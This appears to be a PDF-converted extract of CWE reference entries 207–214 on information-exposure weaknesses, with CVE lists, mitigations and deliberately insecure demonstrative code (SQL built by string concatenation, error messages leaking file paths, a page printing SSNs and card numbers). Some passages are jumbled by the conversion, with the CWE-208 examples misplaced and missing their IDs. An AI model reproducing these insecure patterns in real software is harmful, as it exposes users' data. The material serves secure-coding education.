- Bypass protection mechanism

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1497</td>
<td>Behavioral infoleak in GUI allows attackers to distinguish between alphanumeric and non-alphanumeric characters in a password, thus reducing the search space.</td>
</tr>
<tr>
<td>CVE-2002-2031</td>
<td>File existence via infoleak monitoring whether &quot;onerror&quot; handler fires or not.</td>
</tr>
<tr>
<td>CVE-2003-0190</td>
<td>Product immediately sends an error message when user does not exist instead of waiting until the password is provided, allowing username enumeration.</td>
</tr>
<tr>
<td>CVE-2005-2025</td>
<td>Valid groupname enumeration via behavioral infoleak (sends response if valid, doesn't respond if not).</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

Setup generic response pages for error condition. The error page should not disclose information about the success or failure of a sensitive operation. For instance, the login page should not confirm that the login is correct and the password incorrect. The attacker who tries random account name may be able to guess some of them. Confirming that the account exists would make the login page more susceptible to brute force attack.

**Relationships**
CWE-207: Information Exposure Through an External Behavioral Inconsistency

Weakness ID: 207 (Weakness Variant)  Status: Draft

Description

Summary
The product behaves differently than other products like it, in a way that is observable to an attacker and exposes security-relevant information about which product is being used.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms
Languages
- All

Common Consequences
Confidentiality
Access Control
Read application data
Bypass protection mechanism

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-1142</td>
<td>Honeypot generates an error with a &quot;pwd&quot; command in a particular directory, allowing attacker to know they are in a honeypot system.</td>
</tr>
<tr>
<td>CVE-2002-0208</td>
<td>Product modifies TCP/IP stack and ICMP error messages in unusual ways that show the product is in use.</td>
</tr>
<tr>
<td>CVE-2004-2252</td>
<td>Behavioral infoleak by responding to SYN-FIN packets.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>205</td>
<td>Information Exposure Through Behavioral Discrepancy</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>394</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>967</td>
<td>SFP Secondary Cluster: State Disclosure</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1384</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Internal behavioral inconsistency infoleak</td>
</tr>
</tbody>
</table>

CWE-208: Information Exposure Through Timing Discrepancy

Weakness ID: 208 (Weakness Base)  Status: Incomplete

Description

Summary
Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.

Time of Introduction
CWE-209: Information Exposure Through an Error Message

**Summary**

Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method.

SSL implementation does not perform a MAC computation if an incorrect block cipher padding is used, which causes an information leak (timing discrepancy) that may make it easier to launch cryptographic attacks that rely on distinguishing between padding and MAC verification errors, possibly leading to extraction of the original plaintext, aka the "Vaudenay timing attack."

Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack.

Product uses a shorter timeout for a non-existent user than a valid user, which makes it easier for remote attackers to guess usernames and conduct brute force password guessing.

FTP server responds in a different amount of time when a given username exists, which allows remote attackers to identify valid usernames by timing the server response.

Browser allows remote attackers to determine the existence of arbitrary files by setting the src property to the target filename and using Javascript to determine if the web page immediately stops loading, which indicates whether the file exists or not.

**Relationship Notes**

Often primary in cryptographic applications and algorithms.

**Functional Areas**

- Cryptography, authentication

**Taxonomy Mappings**

- PLOVER: Timing discrepancy infoleak

**Related Attack Patterns**

- CAPEC-ID 462: Cross-Domain Search Timing

**CWE-209: Information Exposure Through an Error Message**

**Weakness ID:** 209 (Weakness Base) **Status:** Draft

**Description**
The software generates an error message that includes sensitive information about its environment, users, or associated data.

**Extended Description**

The sensitive information may be valuable information on its own (such as a password), or it may be useful for launching other, more deadly attacks. If an attack fails, an attacker may use error information provided by the server to launch another more focused attack. For example, an attempt to exploit a path traversal weakness (CWE-22) might yield the full pathname of the installed application. In turn, this could be used to select the proper number of ".." sequences to navigate to the targeted file. An attack using SQL injection (CWE-89) might not initially succeed, but an error message could reveal the malformed query, which would expose query logic and possibly even passwords or other sensitive information used within the query.

**Time of Introduction**

- Architecture and Design
- Implementation
- System Configuration
- Operation

**Applicable Platforms**

**Languages**

- PHP *(Often)*
- All

**Common Consequences**

**Confidentiality**

**Read application data**

Often this will either reveal sensitive information which may be used for a later attack or private information stored in the server.

**Likelihood of Exploit**

High

**Detection Methods**

**Manual Analysis**

High

This weakness generally requires domain-specific interpretation using manual analysis. However, the number of potential error conditions may be too large to cover completely within limited time constraints.

**Automated Analysis**

Moderate

Automated methods may be able to detect certain idioms automatically, such as exposed stack traces or pathnames, but violation of business rules or privacy requirements is not typically feasible.

**Automated Dynamic Analysis**

Moderate

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Error conditions may be triggered with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.
Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Demonstrative Examples

Example 1:
In the following example, sensitive information might be printed depending on the exception that occurs.

Java Example:

```java
try {
    //...
} catch (Exception e) {
    System.out.println(e);
}
```

If an exception related to SQL is handled by the catch, then the output might contain sensitive information such as SQL query structure or private information. If this output is redirected to a web user, this may represent a security problem.

Example 2:
This code tries to open a database connection, and prints any exceptions that occur.

PHP Example:

```php
try {
    openDbConnection();
} catch (Exception $e) {
    echo 'Caught exception: ', $e->getMessage(), '
';
    echo 'Check credentials in config file at: ', $Mysql_config_location, '
';
}
```

If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.

Example 3:
The following code generates an error message that leaks the full pathname of the configuration file.

Perl Example:

```perl
$ConfigDir = "~/home/myprog/config";
$uname = GetUserInput("username");
# avoid CWE-22, CWE-78, others.
ExitError("Bad hacker!") if ($uname !~ \^\w+$\); $file = "$ConfigDir/$uname.txt";
if (! (-e $file)) {
    ExitError("Error: $file does not exist");
}
...
```

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a $file that exists, an attacker could get this pathname. It could then be
used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application.

**Example 4:**
In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.

**Java Example:**

```java
public BankAccount getUserBankAccount(String username, String accountNumber) {
    BankAccount userAccount = null;
    String query = null;
    try {
        if (isAuthorizedUser(username)) {
            query = "SELECT * FROM accounts WHERE owner = " + username + " AND accountID = " + accountNumber;
            DatabaseManager dbManager = new DatabaseManager();
            Connection conn = dbManager.getConnection();
            Statement stmt = conn.createStatement();
            ResultSet queryResult = stmt.executeQuery(query);
            userAccount = (BankAccount)queryResult.getObject(accountNumber);
        }
    } catch (SQLException ex) {
        String logMessage = "Unable to retrieve account information from database," + query;
        Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
    }
    return userAccount;
}
```

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-0603</td>
<td>Malformed regexp syntax leads to information exposure in error message.</td>
</tr>
<tr>
<td>CVE-2007-1409</td>
<td>Direct request to library file in web application triggers pathname leak in error message.</td>
</tr>
<tr>
<td>CVE-2007-5172</td>
<td>Program reveals password in error message if attacker can trigger certain database errors.</td>
</tr>
<tr>
<td>CVE-2008-1579</td>
<td>Existence of user names can be determined by requesting a nonexistent blog and reading the error message.</td>
</tr>
<tr>
<td>CVE-2008-2049</td>
<td>POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness.</td>
</tr>
<tr>
<td>CVE-2008-3060</td>
<td>Malformed input to login page causes leak of full path when IMAP call fails.</td>
</tr>
<tr>
<td>CVE-2008-4638</td>
<td>Composite: application running with high privileges allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

**Implementation**

Handle exceptions internally and do not display errors containing potentially sensitive information to a user.
Implementation

Identify and Reduce Attack Surface

Defense in Depth

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible. This makes it easier to spot places in the code where data is being used that is unencrypted.

Implementation

Build and Compilation

Compilation or Build Hardening

Environment Hardening

Debugging information should not make its way into a production release.

System Configuration

Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the display_errors setting during configuration, or at runtime using the error_reporting() function.

System Configuration

Create default error pages or messages that do not leak any information.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>200</td>
<td>Information Exposure</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>717</td>
<td>OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling</td>
<td>629</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>728</td>
<td>OWASP Top Ten 2004 Category A7 - Improper Error Handling</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>751</td>
<td>2009 Top 25 - Insecure Interaction Between Components</td>
<td>750</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>755</td>
<td>Improper Handling of Exceptional Conditions</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>801</td>
<td>2010 Top 25 - Insecure Interaction Between Components</td>
<td>800</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>815</td>
<td>OWASP Top Ten 2010 Category A6 - Security Misconfiguration</td>
<td>809</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>851</td>
<td>CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>867</td>
<td>2011 Top 25 - Weaknesses On the Cusp</td>
<td>900</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>880</td>
<td>CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>933</td>
<td>OWASP Top Ten 2013 Category A5 - Security Misconfiguration</td>
<td>928</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>81</td>
<td>Improper Neutralization of Script in an Error Message Web Page</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>201</td>
<td>Information Exposure Through Sent Data</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>210</td>
<td>Information Exposure Through Self-generated Error Message</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>211</td>
<td>Information Exposure Through Externally-generated Error Message</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>550</td>
<td>Information Exposure Through Server Error Message</td>
<td>699</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>600</td>
<td>Uncaught Exception in Servlet</td>
<td>1000</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>756</td>
<td>Missing Custom Error Page</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Taxonomy Mappings
CWE Version 2.11
CWE-210: Information Exposure Through Self-generated Error Message

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td></td>
<td>Accidental leaking of sensitive information</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>through error messages</td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A6</td>
<td>CWE More Specific</td>
<td>Information Leakage and Improper Error Handling</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A7</td>
<td>CWE More Specific</td>
<td>Improper Error Handling</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A10</td>
<td>CWE More Specific</td>
<td>Insecure Configuration Management</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>ERR01-J</td>
<td></td>
<td>Do not allow exceptions to expose sensitive information</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ERR12- CPP</td>
<td></td>
<td>Do not allow exceptions to transmit sensitive information</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td></td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7</td>
<td>Blind SQL Injection</td>
</tr>
<tr>
<td>54</td>
<td>Query System for Information</td>
</tr>
<tr>
<td>214</td>
<td>Fuzzing for garnering J2EE/.NET-based stack traces, for application mapping</td>
</tr>
<tr>
<td>215</td>
<td>Fuzzing and observing application log data/errors for application mapping</td>
</tr>
<tr>
<td>463</td>
<td>Padding Oracle Crypto Attack</td>
</tr>
</tbody>
</table>

References

CWE-210: Information Exposure Through Self-generated Error Message

<table>
<thead>
<tr>
<th>Weakness ID: 210 (Weakness Base)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Status: Draft</td>
</tr>
</tbody>
</table>

Description
Summary
The software identifies an error condition and creates its own diagnostic or error messages that contain sensitive information.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Applicable Platforms
Languages
- All

Common Consequences
Confidentiality
Read application data
Demonstrative Examples

The following code uses custom configuration files for each user in the application. It checks to see if the file exists on the system before attempting to open and use the file. If the configuration file does not exist, then an error is generated, and the application exits.

Perl Example:

```perl
$uname = GetUserInput("username");
# avoid CWE-22, CWE-78, others.
if ($uname =~ /^[\w+]$/) {
    ExitError("Bad hacker!");
}
$filename = "/home/myprog/config/" . $uname . ".txt";
if (!(-e $filename)) {
    ExitError("Error: $filename does not exist");
}
```

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that is not associated with a configuration file, an attacker could get this pathname from the error message. It could then be used to exploit path traversal, symbolic link following, or other problems that may exist elsewhere in the application.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-1745</td>
<td>Infoleak of sensitive information in error message (physical access required).</td>
</tr>
</tbody>
</table>

Potential Mitigations

- **Implementation**
  - Build and Compilation
  - Compilation or Build Hardening
  - Environment Hardening

Debugging information should not make its way into a production release.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☣</td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
<td>699</td>
<td>397</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☣</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
<td>1381</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☣</td>
<td>535</td>
<td>Information Exposure Through Shell Error Message</td>
<td>699</td>
<td>877</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☣</td>
<td>536</td>
<td>Information Exposure Through Servlet Runtime Error Message</td>
<td>699</td>
<td>878</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☣</td>
<td>537</td>
<td>Information Exposure Through Java Runtime Error Message</td>
<td>699</td>
<td>879</td>
</tr>
</tbody>
</table>

Functional Areas

- Non-specific

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>SFP23</td>
<td>Product-Generated Error Message Infoleak Exposed Data</td>
</tr>
</tbody>
</table>

References


CWE-211: Information Exposure Through Externally-generated Error Message

**Description**

**Summary**
The software performs an operation that triggers an external diagnostic or error message that is not directly generated by the software, such as an error generated by the programming language interpreter that the software uses. The error can contain sensitive system information.

**Time of Introduction**
- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**
- PHP *(Often)*
- All

**Common Consequences**

**Confidentiality**
Read application data

**Enabling Factors for Exploitation**

PHP applications are often targeted for having this issue when the PHP interpreter generates the error outside of the application's control. However, it's not just restricted to PHP, as other languages/environments exhibit the same issue.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-1101</td>
<td>Improper handling of filename request with trailing &quot;/&quot; causes multiple consequences, including information leak in Visual Basic error message.</td>
</tr>
<tr>
<td>CVE-2004-1579</td>
<td>Single &quot;&quot; inserted into SQL query leads to invalid SQL query execution, triggering full path disclosure. Possibly resultant from more general SQL injection issue.</td>
</tr>
<tr>
<td>CVE-2004-1581</td>
<td>chain: product does not protect against direct request of an include file, leading to resultant path disclosure when the include file does not successfully execute.</td>
</tr>
<tr>
<td>CVE-2005-0433</td>
<td>Various invalid requests lead to information leak in verbose error messages describing the failure to instantiate a class, open a configuration file, or execute an undefined function.</td>
</tr>
<tr>
<td>CVE-2005-0443</td>
<td>invalid parameter triggers a failure to find an include file, leading to infoleak in error message.</td>
</tr>
<tr>
<td>CVE-2005-0459</td>
<td>chain: product does not protect against direct request of a library file, leading to resultant path disclosure when the file does not successfully execute.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**System Configuration**
Configure the application's environment in a way that prevents errors from being generated. For example, in PHP, disable display_errors.

**Implementation**

**Build and Compilation**

**Compilation or Build Hardening**

**Environment Hardening**
Debugging information should not make its way into a production release.

**Implementation**
Handle exceptions internally and do not display errors containing potentially sensitive information to a user. Create default error pages if necessary.
Implementation
The best way to prevent this weakness during implementation is to avoid any bugs that could trigger the external error message. This typically happens when the program encounters fatal errors, such as a divide-by-zero. You will not always be able to control the use of error pages, and you might not be using a language that handles exceptions.

Weakness Ordinalities
Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1381</td>
</tr>
</tbody>
</table>

Relationship Notes
This is inherently a resultant vulnerability from a weakness within the product or an interaction error.

Functional Areas
- Error handling

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Product-External Error Message Infoleak</td>
</tr>
</tbody>
</table>

CWE-212: Improper Cross-boundary Removal of Sensitive Data

CWE-212: Improper Cross-boundary Removal of Sensitive Data

Weakness ID: 212 (Weakness Base) Status: Incomplete

Description
Summary
The software uses a resource that contains sensitive data, but it does not properly remove that data before it stores, transfers, or shares the resource with actors in another control sphere.

Extended Description
Resources that may contain sensitive data include documents, packets, messages, databases, etc. While this data may be useful to an individual user or small set of users who share the resource, it may need to be removed before the resource can be shared outside of the trusted group. The process of removal is sometimes called cleansing or scrubbing.
For example, software that is used for editing documents might not remove sensitive data such as reviewer comments or the local pathname where the document is stored. Or, a proxy might not remove an internal IP address from headers before making an outgoing request to an Internet site.

Terminology Notes
The terms "cleansing" and "scrubbing" have multiple uses within computing. In information security, these are used for the removal of sensitive data, but they are also used for the modification of incoming/outgoing data so that it conforms to specifications.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Applicable Platforms
Languages
- Language-independent

Common Consequences
Confidentiality
Read files or directories
Read application data
Sensitive data may be exposed to an unauthorized actor in another control sphere. This may have a wide range of secondary consequences which will depend on what data is exposed. One possibility is the exposure of system data allowing an attacker to craft a specific, more effective attack.

Demonstrative Examples
This code either generates a public HTML user information page or a JSON response containing the same user information.

**PHP Example:**

```php
// API flag, output JSON if set
$json = $_GET['json']
$username = $_GET['user']
if(!$json)
{
    $record = getUserRecord($username);
    foreach($record as $fieldName => $fieldValue)
    {
        if($fieldName == "email_address") {
            // skip displaying user emails
            continue;
        } else{
            writeToHtmlPage($fieldName,$fieldValue);
        }
    }
} else{
    $record = getUserRecord($username);
    echo json_encode($record);
}
```

The programmer is careful to not display the user’s e-mail address when displaying the public HTML page. However, the e-mail address is not removed from the JSON response, exposing the user’s e-mail address.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0704</td>
<td>NAT feature in firewall leaks internal IP addresses in ICMP error messages.</td>
</tr>
<tr>
<td>CVE-2005-0406</td>
<td>Some image editors modify a JPEG image, but the original EXIF thumbnail image is left intact within the JPEG. (Also an interaction error).</td>
</tr>
</tbody>
</table>

Potential Mitigations

Requirements
Clearly specify which information should be regarded as private or sensitive, and require that the product offers functionality that allows the user to cleanse the sensitive information from the resource before it is published or exported to other parties.

Architecture and Design

Separation of Privilege
Compartimentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.
Implementation

Identify and Reduce Attack Surface

Defense in Depth

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible. This makes it easier to spot places in the code where data is being used that is unencrypted.

Implementation

Avoid errors related to improper resource shutdown or release (CWE-404), which may leave the sensitive data within the resource if it is in an incomplete state.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>200</td>
<td>Information Exposure</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>669</td>
<td>Incorrect Resource Transfer Between Spheres</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>808</td>
<td>2010 Top 25 - Weaknesses On the Cusp</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>867</td>
<td>2011 Top 25 - Weaknesses On the Cusp</td>
<td>900</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>226</td>
<td>Sensitive Information Uncleared Before Release</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Relationship Notes

This entry is intended to be different from resultant information leaks, including those that occur from improper buffer initialization and reuse, improper encryption, interaction errors, and multiple interpretation errors. This entry could be regarded as a privacy leak, depending on the type of information that is leaked.

There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Cross-Boundary Cleansing Infoleak</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>168</td>
<td>Windows ::DATA Alternate Data Stream</td>
<td></td>
</tr>
</tbody>
</table>

**CWE-213: Intentional Information Exposure**

**Weakness ID:** 213  *(Weakness Base)*  

**Status:** Draft

**Description**

**Summary**

A product's design or configuration explicitly requires the publication of information that could be regarded as sensitive by an administrator.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**

- All
Common Consequences
Confidentiality
Read application data

Demonstrative Examples
This code displays some information on a web page.

JSP Example:

```
Social Security Number: <%= ssn %><br>Credit Card Number: <%= ccn %>
```

The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1725</td>
<td>Script calls phpinfo()</td>
</tr>
<tr>
<td>CVE-2003-1038</td>
<td>Product lists DLLs and full pathnames.</td>
</tr>
<tr>
<td>CVE-2003-1181</td>
<td>Script calls phpinfo()</td>
</tr>
<tr>
<td>CVE-2004-0033</td>
<td>Script calls phpinfo()</td>
</tr>
<tr>
<td>CVE-2004-1422</td>
<td>Script calls phpinfo()</td>
</tr>
<tr>
<td>CVE-2004-1590</td>
<td>Script calls phpinfo()</td>
</tr>
<tr>
<td>CVE-2005-0488</td>
<td>Telnet protocol allows servers to obtain sensitive environment information from clients.</td>
</tr>
<tr>
<td>CVE-2005-1205</td>
<td>Telnet protocol allows servers to obtain sensitive environment information from clients.</td>
</tr>
</tbody>
</table>

Other Notes
It's not always clear whether an information exposure is intentional or not. For example, CVE-2005-3261 identifies a PHP script that lists file versions, but it could be that the developer did not intend for this information to be public, but introduced a direct request issue instead.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>200</td>
<td>Information Exposure</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>384</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1381</td>
</tr>
</tbody>
</table>

Relationship Notes
This overlaps other categories because some functionality might be intended by the developer, but is considered a weakness by the user or system administrator. In most cases, it is distinct from CWE-209: Information Exposure Through an Error Message because CWE-209 is often unintended.

Theoretical Notes
In vulnerability theory terms, this covers cases in which the developer's Intended Policy allows the information to be made available, but the information might be in violation of a Universal Policy in which the product's administrator should have control over which information is considered sensitive and therefore should not be exposed.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Intended information leak</td>
</tr>
</tbody>
</table>

CWE-214: Information Exposure Through Process Environment

<table>
<thead>
<tr>
<th>Weakness ID: 214 (Weakness Variant)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary
A process is invoked with sensitive arguments, environment variables, or other elements that can be seen by other processes on the operating system.

Extended Description
Many operating systems allow a user to list information about processes that are owned by other users. This information could include command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.

**Time of Introduction**
- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

